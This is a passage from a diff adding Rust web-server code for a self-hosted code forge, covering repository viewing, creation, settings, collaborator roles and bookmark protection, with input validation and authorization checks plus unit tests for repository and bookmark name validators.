| 343 | + | axum::http::header::CONTENT_TYPE, | |
| 344 | + | "application/octet-stream".to_string(), | |
| 345 | + | ), | |
| 346 | + | ( | |
| 347 | + | axum::http::header::CONTENT_DISPOSITION, | |
| 348 | + | format!("attachment; filename=\"{safe_name}\""), | |
| 349 | + | ), | |
| 350 | + | ( | |
| 351 | + | axum::http::header::X_CONTENT_TYPE_OPTIONS, | |
| 352 | + | "nosniff".to_string(), | |
| 353 | + | ), | |
| 354 | + | ], | |
| 355 | + | blob.content, | |
| 356 | + | ) | |
| 357 | + | .into_response()) | |
| 358 | + | } | |
| 359 | + | ||
| 360 | + | #[derive(Deserialize)] | |
| 361 | + | pub struct LogQuery { | |
| 362 | + | pub rev: Option<String>, | |
| 363 | + | pub limit: Option<usize>, | |
| 364 | + | } | |
| 365 | + | ||
| 366 | + | /// `GET /{owner}/{repo}/log` | |
| 367 | + | pub async fn log( | |
| 368 | + | State(state): State<AppState>, | |
| 369 | + | UrlPath((owner, name)): UrlPath<(String, String)>, | |
| 370 | + | Query(q): Query<LogQuery>, | |
| 371 | + | CurrentUser(user): CurrentUser, | |
| 372 | + | CsrfToken(csrf): CsrfToken, | |
| 373 | + | Nonce(nonce): Nonce, | |
| 374 | + | ) -> AppResult<Response> { | |
| 375 | + | let ctx = RepoContext::load(&state, &owner, &name, user.as_deref()).await?; | |
| 376 | + | ||
| 377 | + | let rev_label = q.rev.unwrap_or_else(|| ctx.repo.default_bookmark.clone()); | |
| 378 | + | let rev = state | |
| 379 | + | .store | |
| 380 | + | .resolve(ctx.store_id(), &rev_label) | |
| 381 | + | .await | |
| 382 | + | .map_err(store_err)?; | |
| 383 | + | ||
| 384 | + | // Clamped: a URL must not be able to ask for unbounded history. | |
| 385 | + | let limit = q.limit.unwrap_or(50).clamp(1, 200); | |
| 386 | + | let revs = state | |
| 387 | + | .store | |
| 388 | + | .log(ctx.store_id(), &rev, limit) | |
| 389 | + | .await | |
| 390 | + | .map_err(store_err)?; | |
| 391 | + | ||
| 392 | + | let body = v::log_view(&ctx, &rev_label, &revs); | |
| 393 | + | Ok(render(&ctx, "code", &csrf, &nonce, user.as_deref(), body)) | |
| 394 | + | } | |
| 395 | + | ||
| 396 | + | /// `GET /{owner}/{repo}/bookmarks` | |
| 397 | + | pub async fn bookmarks( | |
| 398 | + | State(state): State<AppState>, | |
| 399 | + | UrlPath((owner, name)): UrlPath<(String, String)>, | |
| 400 | + | CurrentUser(user): CurrentUser, | |
| 401 | + | CsrfToken(csrf): CsrfToken, | |
| 402 | + | Nonce(nonce): Nonce, | |
| 403 | + | ) -> AppResult<Response> { | |
| 404 | + | let ctx = RepoContext::load(&state, &owner, &name, user.as_deref()).await?; | |
| 405 | + | let marks = state | |
| 406 | + | .store | |
| 407 | + | .bookmarks(ctx.store_id()) | |
| 408 | + | .await | |
| 409 | + | .unwrap_or_default(); | |
| 410 | + | ||
| 411 | + | let body = v::bookmarks_view(&ctx, &marks); | |
| 412 | + | Ok(render(&ctx, "bookmarks", &csrf, &nonce, user.as_deref(), body)) | |
| 413 | + | } | |
| 414 | + | ||
| 415 | + | /// Explain a plain-text fallback to the reader. | |
| 416 | + | /// | |
| 417 | + | /// "No grammar for this file type" is not worth saying — most files in a | |
| 418 | + | /// repository have no grammar and the absence of colour is unremarkable. A file | |
| 419 | + | /// that *would* have been highlighted but was skipped for size is worth saying, | |
| 420 | + | /// because the reader can otherwise not tell it from a broken renderer. | |
| 421 | + | fn plain_reason(s: df_render::highlight::Skipped) -> Option<&'static str> { | |
| 422 | + | use df_render::highlight::Skipped; | |
| 423 | + | match s { | |
| 424 | + | Skipped::NoGrammar => None, | |
| 425 | + | Skipped::TooLarge => Some("too large to highlight"), | |
| 426 | + | Skipped::LineTooLong => Some("lines too long to highlight"), | |
| 427 | + | Skipped::Failed => Some("could not be highlighted"), | |
| 428 | + | } | |
| 429 | + | } | |
| 430 | + | ||
| 431 | + | // ─── creation ──────────────────────────────────────────────────────────────── | |
| 432 | + | ||
| 433 | + | /// `GET /new` | |
| 434 | + | pub async fn new_form( | |
| 435 | + | State(state): State<AppState>, | |
| 436 | + | CurrentUser(user): CurrentUser, | |
| 437 | + | CsrfToken(csrf): CsrfToken, | |
| 438 | + | Nonce(nonce): Nonce, | |
| 439 | + | ) -> AppResult<Response> { | |
| 440 | + | let Some(user) = user else { | |
| 441 | + | return Err(AppError::Unauthorized); | |
| 442 | + | }; | |
| 443 | + | let owners = owner_choices(&state, &user).await?; | |
| 444 | + | ||
| 445 | + | Ok(views::page( | |
| 446 | + | Chrome { title: "New repository", user: Some(&user), csrf: &csrf, nonce: &nonce }, | |
| 447 | + | v::new_repo_form(&csrf, None, &owners), | |
| 448 | + | ) | |
| 449 | + | .into_response()) | |
| 450 | + | } | |
| 451 | + | ||
| 452 | + | #[derive(Deserialize)] | |
| 453 | + | pub struct CreateRepo { | |
| 454 | + | pub owner: String, | |
| 455 | + | pub name: String, | |
| 456 | + | pub description: Option<String>, | |
| 457 | + | pub default_bookmark: String, | |
| 458 | + | pub private: Option<String>, | |
| 459 | + | } | |
| 460 | + | ||
| 461 | + | /// `POST /repos` | |
| 462 | + | pub async fn create( | |
| 463 | + | State(state): State<AppState>, | |
| 464 | + | CurrentUser(user): CurrentUser, | |
| 465 | + | CsrfToken(csrf): CsrfToken, | |
| 466 | + | Nonce(nonce): Nonce, | |
| 467 | + | Form(form): Form<CreateRepo>, | |
| 468 | + | ) -> AppResult<Response> { | |
| 469 | + | let Some(user) = user else { | |
| 470 | + | return Err(AppError::Unauthorized); | |
| 471 | + | }; | |
| 472 | + | ||
| 473 | + | let owners = owner_choices(&state, &user).await?; | |
| 474 | + | let reject = |msg: &str| -> Response { | |
| 475 | + | views::page( | |
| 476 | + | Chrome { title: "New repository", user: Some(&user), csrf: &csrf, nonce: &nonce }, | |
| 477 | + | v::new_repo_form(&csrf, Some(msg), &owners), | |
| 478 | + | ) | |
| 479 | + | .into_response() | |
| 480 | + | }; | |
| 481 | + | ||
| 482 | + | let name = form.name.trim(); | |
| 483 | + | if !valid_repo_name(name) { | |
| 484 | + | return Ok(reject( | |
| 485 | + | "Repository names must start with a letter or digit and may contain \ | |
| 486 | + | letters, digits, dots, hyphens and underscores.", | |
| 487 | + | )); | |
| 488 | + | } | |
| 489 | + | ||
| 490 | + | let bookmark = form.default_bookmark.trim(); | |
| 491 | + | if !valid_bookmark_name(bookmark) { | |
| 492 | + | return Ok(reject("That is not a valid bookmark name.")); | |
| 493 | + | } | |
| 494 | + | ||
| 495 | + | // The namespace must be the user's own, or an org they administer. Checked | |
| 496 | + | // against the database rather than against the form's own option list — the | |
| 497 | + | // list is a convenience, not a control. | |
| 498 | + | let owner_org: Option<Uuid> = if form.owner == user.handle { | |
| 499 | + | None | |
| 500 | + | } else { | |
| 501 | + | let org: Option<(Uuid,)> = sqlx::query_as( | |
| 502 | + | "SELECT o.id FROM orgs o | |
| 503 | + | JOIN org_members m ON m.org_id = o.id | |
| 504 | + | WHERE o.handle = $1 AND m.user_id = $2 AND m.role = 'admin'", | |
| 505 | + | ) | |
| 506 | + | .bind(&form.owner) | |
| 507 | + | .bind(user.id) | |
| 508 | + | .fetch_optional(&state.db) | |
| 509 | + | .await?; | |
| 510 | + | ||
| 511 | + | match org { | |
| 512 | + | Some((id,)) => Some(id), | |
| 513 | + | None => return Err(AppError::Forbidden), | |
| 514 | + | } | |
| 515 | + | }; | |
| 516 | + | ||
| 517 | + | let repo_id = new_id(); | |
| 518 | + | let visibility = if form.private.is_some() { "private" } else { "public" }; | |
| 519 | + | ||
| 520 | + | // Create the database row first. If storage creation then fails we can | |
| 521 | + | // roll the row back; the reverse ordering would leave an orphan directory | |
| 522 | + | // with no owner and no way to reach it. | |
| 523 | + | let mut tx = state.db.begin().await?; | |
| 524 | + | ||
| 525 | + | let inserted = sqlx::query( | |
| 526 | + | "INSERT INTO repos (id, owner_kind, owner_user_id, owner_org_id, name, description, | |
| 527 | + | visibility, default_bookmark) | |
| 528 | + | VALUES ($1, | |
| 529 | + | CASE WHEN $7::uuid IS NULL THEN 'user' ELSE 'org' END::owner_kind, | |
| 530 | + | CASE WHEN $7::uuid IS NULL THEN $2 ELSE NULL END, | |
| 531 | + | $7, $3, $4, $5::visibility, $6) | |
| 532 | + | ON CONFLICT DO NOTHING", | |
| 533 | + | ) | |
| 534 | + | .bind(repo_id) | |
| 535 | + | .bind(user.id) | |
| 536 | + | .bind(name) | |
| 537 | + | .bind(form.description.as_deref().filter(|d| !d.trim().is_empty())) | |
| 538 | + | .bind(visibility) | |
| 539 | + | .bind(bookmark) | |
| 540 | + | .bind(owner_org) | |
| 541 | + | .execute(&mut *tx) | |
| 542 | + | .await?; | |
| 543 | + | ||
| 544 | + | if inserted.rows_affected() == 0 { | |
| 545 | + | return Ok(reject("That namespace already has a repository with that name.")); | |
| 546 | + | } | |
| 547 | + | ||
| 548 | + | sqlx::query("INSERT INTO repo_counters (repo_id) VALUES ($1)") | |
| 549 | + | .bind(repo_id) | |
| 550 | + | .execute(&mut *tx) | |
| 551 | + | .await?; | |
| 552 | + | ||
| 553 | + | // Default labels, so the issue form has something to offer on day one. | |
| 554 | + | // Kept in step with the backfill in migration 0003. | |
| 555 | + | for (label, color) in [ | |
| 556 | + | ("bug", "#d06b6b"), | |
| 557 | + | ("enhancement", "#6ba9b8"), | |
| 558 | + | ("question", "#d9a441"), | |
| 559 | + | ("documentation", "#8b7fd4"), | |
| 560 | + | ] { | |
| 561 | + | sqlx::query( | |
| 562 | + | "INSERT INTO labels (id, repo_id, name, color) VALUES ($1, $2, $3, $4) | |
| 563 | + | ON CONFLICT DO NOTHING", | |
| 564 | + | ) | |
| 565 | + | .bind(new_id()) | |
| 566 | + | .bind(repo_id) | |
| 567 | + | .bind(label) | |
| 568 | + | .bind(color) | |
| 569 | + | .execute(&mut *tx) | |
| 570 | + | .await?; | |
| 571 | + | } | |
| 572 | + | ||
| 573 | + | sqlx::query( | |
| 574 | + | "INSERT INTO events (id, repo_id, actor_id, kind, subject_type, subject_id) | |
| 575 | + | VALUES ($1, $2, $3, 'repo.created', 'repo', $2)", | |
| 576 | + | ) | |
| 577 | + | .bind(new_id()) | |
| 578 | + | .bind(repo_id) | |
| 579 | + | .bind(user.id) | |
| 580 | + | .execute(&mut *tx) | |
| 581 | + | .await?; | |
| 582 | + | ||
| 583 | + | if let Err(e) = state | |
| 584 | + | .store | |
| 585 | + | .create(df_store::RepoId(repo_id), bookmark) | |
| 586 | + | .await | |
| 587 | + | { | |
| 588 | + | tracing::error!("creating repository storage failed: {e}"); | |
| 589 | + | tx.rollback().await?; | |
| 590 | + | return Ok(reject( | |
| 591 | + | "The repository could not be created on disk. Please try again.", | |
| 592 | + | )); | |
| 593 | + | } | |
| 594 | + | ||
| 595 | + | // Push validation, before the repository can receive a push. A repository | |
| 596 | + | // without this hook accepts anything: no ref-name allowlist, no protected | |
| 597 | + | // bookmarks (spec §9). Failing to install it fails the creation rather than | |
| 598 | + | // producing a repository that is quietly unvalidated. | |
| 599 | + | if let Err(e) = | |
| 600 | + | crate::hooks::install(state.store.as_ref(), repo_id, &state.config.hook_binary).await | |
| 601 | + | { | |
| 602 | + | tracing::error!(repo = %repo_id, "{e:#}"); | |
| 603 | + | tx.rollback().await?; | |
| 604 | + | let _ = state.store.delete(df_store::RepoId(repo_id)).await; | |
| 605 | + | return Ok(reject( | |
| 606 | + | "The repository could not be prepared to receive pushes. Please try again.", | |
| 607 | + | )); | |
| 608 | + | } | |
| 609 | + | ||
| 610 | + | tx.commit().await?; | |
| 611 | + | tracing::info!(repo = %repo_id, owner = %form.owner, name = %name, "repository created"); | |
| 612 | + | ||
| 613 | + | Ok(Redirect::to(&format!("/{}/{}", form.owner, name)).into_response()) | |
| 614 | + | } | |
| 615 | + | ||
| 616 | + | // ─── helpers ───────────────────────────────────────────────────────────────── | |
| 617 | + | ||
| 618 | + | /// Namespaces this user may create a repository in: their own, plus every org | |
| 619 | + | /// they administer. | |
| 620 | + | /// | |
| 621 | + | /// Org *members* are deliberately excluded — membership grants read access to | |
| 622 | + | /// the org's repositories, not the right to add one. | |
| 623 | + | async fn owner_choices(state: &AppState, user: &df_db::models::User) -> AppResult<Vec<String>> { | |
| 624 | + | let mut owners = vec![user.handle.clone()]; | |
| 625 | + | let orgs: Vec<String> = sqlx::query_scalar( | |
| 626 | + | "SELECT o.handle::text FROM orgs o | |
| 627 | + | JOIN org_members m ON m.org_id = o.id | |
| 628 | + | WHERE m.user_id = $1 AND m.role = 'admin' | |
| 629 | + | ORDER BY o.handle", | |
| 630 | + | ) | |
| 631 | + | .bind(user.id) | |
| 632 | + | .fetch_all(&state.db) | |
| 633 | + | .await?; | |
| 634 | + | owners.extend(orgs); | |
| 635 | + | Ok(owners) | |
| 636 | + | } | |
| 637 | + | ||
| 638 | + | /// Mirror of the `name_format` CHECK on `repos`. | |
| 639 | + | fn valid_repo_name(n: &str) -> bool { | |
| 640 | + | !n.is_empty() | |
| 641 | + | && n.len() <= 100 | |
| 642 | + | && !n.contains("..") | |
| 643 | + | && n.chars().next().is_some_and(|c| c.is_ascii_alphanumeric()) | |
| 644 | + | && n.chars() | |
| 645 | + | .all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-')) | |
| 646 | + | } | |
| 647 | + | ||
| 648 | + | /// Git ref-name rules, plus the stricter allowlist from spec §9. | |
| 649 | + | pub fn valid_bookmark_name(n: &str) -> bool { | |
| 650 | + | !n.is_empty() | |
| 651 | + | && n.len() <= 100 | |
| 652 | + | && !n.contains("..") | |
| 653 | + | && !n.ends_with(".lock") | |
| 654 | + | && !n.starts_with('-') | |
| 655 | + | && !n.starts_with('/') | |
| 656 | + | && !n.ends_with('/') | |
| 657 | + | && !n.contains("//") | |
| 658 | + | && !n.contains('\\') | |
| 659 | + | && !n.contains("@{") | |
| 660 | + | && n.chars() | |
| 661 | + | .all(|c| c.is_ascii_alphanumeric() || matches!(c, '/' | '.' | '_' | '-')) | |
| 662 | + | } | |
| 663 | + | ||
| 664 | + | fn render( | |
| 665 | + | ctx: &RepoContext, | |
| 666 | + | tab: &str, | |
| 667 | + | csrf: &str, | |
| 668 | + | nonce: &str, | |
| 669 | + | user: Option<&df_db::models::User>, | |
| 670 | + | body: maud::Markup, | |
| 671 | + | ) -> Response { | |
| 672 | + | views::page( | |
| 673 | + | Chrome { | |
| 674 | + | title: &format!("{}/{}", ctx.owner, ctx.repo.name), | |
| 675 | + | user, | |
| 676 | + | csrf, | |
| 677 | + | nonce, | |
| 678 | + | }, | |
| 679 | + | maud::html! { (v::header(ctx, tab)) (body) }, | |
| 680 | + | ) | |
| 681 | + | .into_response() | |
| 682 | + | } | |
| 683 | + | ||
| 684 | + | /// Render a README if the directory has one. | |
| 685 | + | /// | |
| 686 | + | /// Returns the file's own name alongside the markup so the card can be labelled | |
| 687 | + | /// with what was actually found — a repository with a bare `README` should not | |
| 688 | + | /// be told it has a `README.md`. | |
| 689 | + | async fn render_readme( | |
| 690 | + | state: &AppState, | |
| 691 | + | ctx: &RepoContext, | |
| 692 | + | rev: &df_store::RevId, | |
| 693 | + | entries: &[df_store::TreeEntry], | |
| 694 | + | ) -> Option<(String, maud::Markup)> { | |
| 695 | + | let readme = entries.iter().find(|e| { | |
| 696 | + | !e.is_dir() | |
| 697 | + | && matches!( | |
| 698 | + | e.name.to_lowercase().as_str(), | |
| 699 | + | "readme.md" | "readme" | "readme.markdown" | "readme.txt" | |
| 700 | + | ) | |
| 701 | + | })?; | |
| 702 | + | ||
| 703 | + | let blob = state | |
| 704 | + | .store | |
| 705 | + | .read_blob(ctx.store_id(), rev, Path::new(&readme.path)) | |
| 706 | + | .await | |
| 707 | + | .ok()?; | |
| 708 | + | let text = blob.text()?; | |
| 709 | + | ||
| 710 | + | // Always sanitised — never trust repository content (spec §9). | |
| 711 | + | let html_str = df_render::markdown_to_html(text); | |
| 712 | + | Some((readme.name.clone(), v::rendered_markdown(&html_str))) | |
| 713 | + | } | |
| 714 | + | ||
| 715 | + | #[cfg(test)] | |
| 716 | + | mod tests { | |
| 717 | + | use super::*; | |
| 718 | + | ||
| 719 | + | #[test] | |
| 720 | + | fn repo_name_validation_mirrors_the_db_constraint() { | |
| 721 | + | assert!(valid_repo_name("dogfood")); | |
| 722 | + | assert!(valid_repo_name("my.repo_name-1")); | |
| 723 | + | assert!(valid_repo_name("9lives")); | |
| 724 | + | ||
| 725 | + | assert!(!valid_repo_name("")); | |
| 726 | + | assert!(!valid_repo_name(".hidden"), "must start alphanumeric"); | |
| 727 | + | assert!(!valid_repo_name("-dash")); | |
| 728 | + | assert!(!valid_repo_name("a..b"), "traversal must be rejected"); | |
| 729 | + | assert!(!valid_repo_name("with space")); | |
| 730 | + | assert!(!valid_repo_name("with/slash")); | |
| 731 | + | assert!(!valid_repo_name(&"a".repeat(101))); | |
| 732 | + | } | |
| 733 | + | ||
| 734 | + | #[test] | |
| 735 | + | fn bookmark_validation_follows_the_ref_rules() { | |
| 736 | + | assert!(valid_bookmark_name("main")); | |
| 737 | + | assert!(valid_bookmark_name("feature/thing")); | |
| 738 | + | assert!(valid_bookmark_name("v1.2.3")); | |
| 739 | + | ||
| 740 | + | // Spec §9: reject refs containing `..`, ending in `.lock`, starting | |
| 741 | + | // with `-`, or containing control characters. | |
| 742 | + | assert!(!valid_bookmark_name("a..b")); | |
| 743 | + | assert!(!valid_bookmark_name("main.lock")); | |
| 744 | + | assert!(!valid_bookmark_name("-main")); | |
| 745 | + | assert!(!valid_bookmark_name("main\n")); | |
| 746 | + | assert!(!valid_bookmark_name("main\x1b[31m")); | |
| 747 | + | assert!(!valid_bookmark_name("a//b")); | |
| 748 | + | assert!(!valid_bookmark_name("/main")); | |
| 749 | + | assert!(!valid_bookmark_name("main/")); | |
| 750 | + | assert!(!valid_bookmark_name("main@{1}")); | |
| 751 | + | assert!(!valid_bookmark_name("back\\slash")); | |
| 752 | + | assert!(!valid_bookmark_name("")); | |
| 753 | + | } | |
| 754 | + | } | |
Acrates/df-web/src/routes/repo_settings.rs444 lines+444−0
| @@ −0,0 +1,444 @@ | |||
| 1 | + | //! Repository settings, collaborators, bookmark protection, archive and delete | |
| 2 | + | //! (spec §7). | |
| 3 | + | //! | |
| 4 | + | //! Every handler here starts with `RepoContext::load` — which authorizes *read* | |
| 5 | + | //! and 404s otherwise — and then calls `require_settings` or `require_delete`. | |
| 6 | + | //! That ordering matters: a stranger poking at a private repo's settings URL | |
| 7 | + | //! gets the same 404 they get for the repo itself, and only somebody who can | |
| 8 | + | //! already see it ever receives a 403 (spec §9). | |
| 9 | + | ||
| 10 | + | use axum::extract::{Path as UrlPath, Query, State}; | |
| 11 | + | use axum::response::{IntoResponse, Redirect, Response}; | |
| 12 | + | use axum::Form; | |
| 13 | + | use df_db::models::RepoRole; | |
| 14 | + | use serde::Deserialize; | |
| 15 | + | use uuid::Uuid; | |
| 16 | + | ||
| 17 | + | use crate::error::{AppError, AppResult}; | |
| 18 | + | use crate::repo_ctx::RepoContext; | |
| 19 | + | use crate::routes::settings::{audit, urlencode}; | |
| 20 | + | use crate::state::{AppState, CsrfToken, CurrentUser, Nonce}; | |
| 21 | + | use crate::views::settings as v; | |
| 22 | + | use crate::views::{self, Chrome}; | |
| 23 | + | ||
| 24 | + | #[derive(Deserialize, Default)] | |
| 25 | + | pub struct SettingsQuery { | |
| 26 | + | pub tab: Option<String>, | |
| 27 | + | pub error: Option<String>, | |
| 28 | + | pub notice: Option<String>, | |
| 29 | + | } | |
| 30 | + | ||
| 31 | + | /// `GET /{owner}/{repo}/settings` | |
| 32 | + | pub async fn show( | |
| 33 | + | State(state): State<AppState>, | |
| 34 | + | UrlPath((owner, name)): UrlPath<(String, String)>, | |
| 35 | + | Query(q): Query<SettingsQuery>, | |
| 36 | + | CurrentUser(user): CurrentUser, | |
| 37 | + | CsrfToken(csrf): CsrfToken, | |
| 38 | + | Nonce(nonce): Nonce, | |
| 39 | + | ) -> AppResult<Response> { | |
| 40 | + | let ctx = RepoContext::load(&state, &owner, &name, user.as_deref()).await?; | |
| 41 | + | ctx.require_settings()?; | |
| 42 | + | ||
| 43 | + | let collaborators = load_collaborators(&state, ctx.repo.id).await?; | |
| 44 | + | let bookmarks = load_bookmarks(&state, &ctx).await?; | |
| 45 | + | let size_bytes = state | |
| 46 | + | .store | |
| 47 | + | .size_bytes(ctx.store_id()) | |
| 48 | + | .await | |
| 49 | + | .unwrap_or(ctx.repo.size_bytes.max(0) as u64); | |
| 50 | + | ||
| 51 | + | let tab = q.tab.as_deref().unwrap_or("general").to_owned(); | |
| 52 | + | ||
| 53 | + | let body = maud::html! { | |
| 54 | + | (crate::views::repo::header(&ctx, "settings")) | |
| 55 | + | (v::repo_settings(v::RepoSettings { | |
| 56 | + | ctx: &ctx, | |
| 57 | + | csrf: &csrf, | |
| 58 | + | tab: &tab, | |
| 59 | + | collaborators: &collaborators, | |
| 60 | + | bookmarks: &bookmarks, | |
| 61 | + | size_bytes, | |
| 62 | + | error: q.error.as_deref(), | |
| 63 | + | notice: q.notice.as_deref(), | |
| 64 | + | })) | |
| 65 | + | }; | |
| 66 | + | ||
| 67 | + | Ok(views::page( | |
| 68 | + | Chrome { | |
| 69 | + | title: &format!("{}/{} settings", ctx.owner, ctx.repo.name), | |
| 70 | + | user: user.as_deref(), | |
| 71 | + | csrf: &csrf, | |
| 72 | + | nonce: &nonce, | |
| 73 | + | }, | |
| 74 | + | body, | |
| 75 | + | ) | |
| 76 | + | .into_response()) | |
| 77 | + | } | |
| 78 | + | ||
| 79 | + | // ─── general ───────────────────────────────────────────────────────────────── | |
| 80 | + | ||
| 81 | + | #[derive(Deserialize)] | |
| 82 | + | pub struct General { | |
| 83 | + | pub description: Option<String>, | |
| 84 | + | pub default_bookmark: Option<String>, | |
| 85 | + | /// Present only when the checkbox is ticked. | |
| 86 | + | pub private: Option<String>, | |
| 87 | + | } | |
| 88 | + | ||
| 89 | + | /// `POST /{owner}/{repo}/settings/general` | |
| 90 | + | pub async fn update_general( | |
| 91 | + | State(state): State<AppState>, | |
| 92 | + | UrlPath((owner, name)): UrlPath<(String, String)>, | |
| 93 | + | CurrentUser(user): CurrentUser, | |
| 94 | + | Form(form): Form<General>, | |
| 95 | + | ) -> AppResult<Response> { | |
| 96 | + | let ctx = RepoContext::load(&state, &owner, &name, user.as_deref()).await?; | |
| 97 | + | ctx.require_settings()?; | |
| 98 | + | let actor = user.as_ref().ok_or(AppError::Unauthorized)?.id; | |
| 99 | + | ||
| 100 | + | let description: Option<String> = form | |
| 101 | + | .description | |
| 102 | + | .as_deref() | |
| 103 | + | .map(str::trim) | |
| 104 | + | .filter(|s| !s.is_empty()) | |
| 105 | + | .map(|s| s.chars().take(500).collect()); | |
| 106 | + | ||
| 107 | + | let bookmark = form | |
| 108 | + | .default_bookmark | |
| 109 | + | .as_deref() | |
| 110 | + | .map(str::trim) | |
| 111 | + | .filter(|s| !s.is_empty()) | |
| 112 | + | .unwrap_or(&ctx.repo.default_bookmark); | |
| 113 | + | ||
| 114 | + | // The same validation the create form uses. A settings form is not a more | |
| 115 | + | // trusted input than a create form. | |
| 116 | + | if !super::repo::valid_bookmark_name(bookmark) { | |
| 117 | + | return Ok(err(&ctx, "general", "That is not a valid bookmark name.")); | |
| 118 | + | } | |
| 119 | + | ||
| 120 | + | let visibility = if form.private.is_some() { "private" } else { "public" }; | |
| 121 | + | ||
| 122 | + | sqlx::query( | |
| 123 | + | "UPDATE repos SET description = $2, default_bookmark = $3, visibility = $4::visibility | |
| 124 | + | WHERE id = $1", | |
| 125 | + | ) | |
| 126 | + | .bind(ctx.repo.id) | |
| 127 | + | .bind(&description) | |
| 128 | + | .bind(bookmark) | |
| 129 | + | .bind(visibility) | |
| 130 | + | .execute(&state.db) | |
| 131 | + | .await?; | |
| 132 | + | ||
| 133 | + | // Visibility changes are the ones worth an audit entry — they are how a | |
| 134 | + | // private repository becomes public, deliberately or otherwise. | |
| 135 | + | if visibility != visibility_str(ctx.repo.visibility) { | |
| 136 | + | audit( | |
| 137 | + | &state, | |
| 138 | + | actor, | |
| 139 | + | "repo.visibility_changed", | |
| 140 | + | &format!("{}/{} -> {visibility}", ctx.owner, ctx.repo.name), | |
| 141 | + | ) | |
| 142 | + | .await; | |
| 143 | + | } | |
| 144 | + | ||
| 145 | + | Ok(ok(&ctx, "general", "Settings saved.")) | |
| 146 | + | } | |
| 147 | + | ||
| 148 | + | // ─── collaborators ─────────────────────────────────────────────────────────── | |
| 149 | + | ||
| 150 | + | #[derive(Deserialize)] | |
| 151 | + | pub struct Collaborator { | |
| 152 | + | pub handle: String, | |
| 153 | + | pub role: Option<String>, | |
| 154 | + | } | |
| 155 | + | ||
| 156 | + | /// `POST /{owner}/{repo}/settings/collaborators` — add or update. | |
| 157 | + | pub async fn upsert_collaborator( | |
| 158 | + | State(state): State<AppState>, | |
| 159 | + | UrlPath((owner, name)): UrlPath<(String, String)>, | |
| 160 | + | CurrentUser(user): CurrentUser, | |
| 161 | + | Form(form): Form<Collaborator>, | |
| 162 | + | ) -> AppResult<Response> { | |
| 163 | + | let ctx = RepoContext::load(&state, &owner, &name, user.as_deref()).await?; | |
| 164 | + | ctx.require_settings()?; | |
| 165 | + | let actor = user.as_ref().ok_or(AppError::Unauthorized)?.id; | |
| 166 | + | ||
| 167 | + | let Some(role) = form.role.as_deref().and_then(parse_role) else { | |
| 168 | + | return Ok(err(&ctx, "collaborators", "Unknown role.")); | |
| 169 | + | }; | |
| 170 | + | ||
| 171 | + | // Granting a role you do not hold yourself is privilege escalation: a | |
| 172 | + | // `maintain` collaborator could otherwise make themselves `admin` by adding | |
| 173 | + | // themselves again. Capped at the granter's own effective role. | |
| 174 | + | let granter = ctx.access.role().unwrap_or(RepoRole::Read); | |
| 175 | + | if role > granter { | |
| 176 | + | return Ok(err( | |
| 177 | + | &ctx, | |
| 178 | + | "collaborators", | |
| 179 | + | "You cannot grant a role higher than your own.", | |
| 180 | + | )); | |
| 181 | + | } | |
| 182 | + | ||
| 183 | + | let target: Option<(Uuid,)> = sqlx::query_as("SELECT id FROM users WHERE handle = $1") | |
| 184 | + | .bind(form.handle.trim()) | |
| 185 | + | .fetch_optional(&state.db) | |
| 186 | + | .await?; | |
| 187 | + | ||
| 188 | + | let Some((target_id,)) = target else { | |
| 189 | + | return Ok(err(&ctx, "collaborators", "No such user.")); | |
| 190 | + | }; | |
| 191 | + | ||
| 192 | + | // The owner already has admin implicitly, and a collaborator row for them | |
| 193 | + | // would be a confusing no-op that also could not be removed meaningfully. | |
| 194 | + | if ctx.repo.owner_user_id == Some(target_id) { | |
| 195 | + | return Ok(err( | |
| 196 | + | &ctx, | |
| 197 | + | "collaborators", | |
| 198 | + | "The owner already has full access.", | |
| 199 | + | )); | |
| 200 | + | } | |
| 201 | + | ||
| 202 | + | sqlx::query( | |
| 203 | + | "INSERT INTO repo_collaborators (repo_id, user_id, role, added_by) | |
| 204 | + | VALUES ($1, $2, $3::repo_role, $4) | |
| 205 | + | ON CONFLICT (repo_id, user_id) DO UPDATE SET role = EXCLUDED.role", | |
| 206 | + | ) | |
| 207 | + | .bind(ctx.repo.id) | |
| 208 | + | .bind(target_id) | |
| 209 | + | .bind(v::role_str(role)) | |
| 210 | + | .bind(actor) | |
| 211 | + | .execute(&state.db) | |
| 212 | + | .await?; | |
| 213 | + | ||
| 214 | + | audit( | |
| 215 | + | &state, | |
| 216 | + | actor, | |
| 217 | + | "repo.collaborator_set", | |
| 218 | + | &format!("{}/{} {} = {}", ctx.owner, ctx.repo.name, form.handle.trim(), v::role_str(role)), | |
| 219 | + | ) | |
| 220 | + | .await; | |
| 221 | + | ||
| 222 | + | Ok(ok(&ctx, "collaborators", "Collaborator saved.")) | |
| 223 | + | } | |
| 224 | + | ||
| 225 | + | /// `POST /{owner}/{repo}/settings/collaborators/remove` | |
| 226 | + | pub async fn remove_collaborator( | |
| 227 | + | State(state): State<AppState>, | |
| 228 | + | UrlPath((owner, name)): UrlPath<(String, String)>, | |
| 229 | + | CurrentUser(user): CurrentUser, | |
| 230 | + | Form(form): Form<Collaborator>, | |
| 231 | + | ) -> AppResult<Response> { | |
| 232 | + | let ctx = RepoContext::load(&state, &owner, &name, user.as_deref()).await?; | |
| 233 | + | ctx.require_settings()?; | |
| 234 | + | let actor = user.as_ref().ok_or(AppError::Unauthorized)?.id; | |
| 235 | + | ||
| 236 | + | sqlx::query( | |
| 237 | + | "DELETE FROM repo_collaborators | |
| 238 | + | WHERE repo_id = $1 | |
| 239 | + | AND user_id = (SELECT id FROM users WHERE handle = $2)", | |
| 240 | + | ) | |
| 241 | + | .bind(ctx.repo.id) | |
| 242 | + | .bind(form.handle.trim()) | |
| 243 | + | .execute(&state.db) | |
| 244 | + | .await?; | |
| 245 | + | ||
| 246 | + | audit( | |
| 247 | + | &state, | |
| 248 | + | actor, | |
| 249 | + | "repo.collaborator_removed", | |
| 250 | + | &format!("{}/{} {}", ctx.owner, ctx.repo.name, form.handle.trim()), | |
| 251 | + | ) | |
| 252 | + | .await; | |
| 253 | + | ||
| 254 | + | Ok(ok(&ctx, "collaborators", "Collaborator removed.")) | |
| 255 | + | } | |
| 256 | + | ||
| 257 | + | // ─── bookmarks ─────────────────────────────────────────────────────────────── | |
| 258 | + | ||
| 259 | + | #[derive(Deserialize)] | |
| 260 | + | pub struct ProtectBookmark { | |
| 261 | + | pub name: String, | |
| 262 | + | pub protected: String, | |
| 263 | + | } | |
| 264 | + | ||
| 265 | + | /// `POST /{owner}/{repo}/settings/bookmarks` | |
| 266 | + | pub async fn protect_bookmark( | |
| 267 | + | State(state): State<AppState>, | |
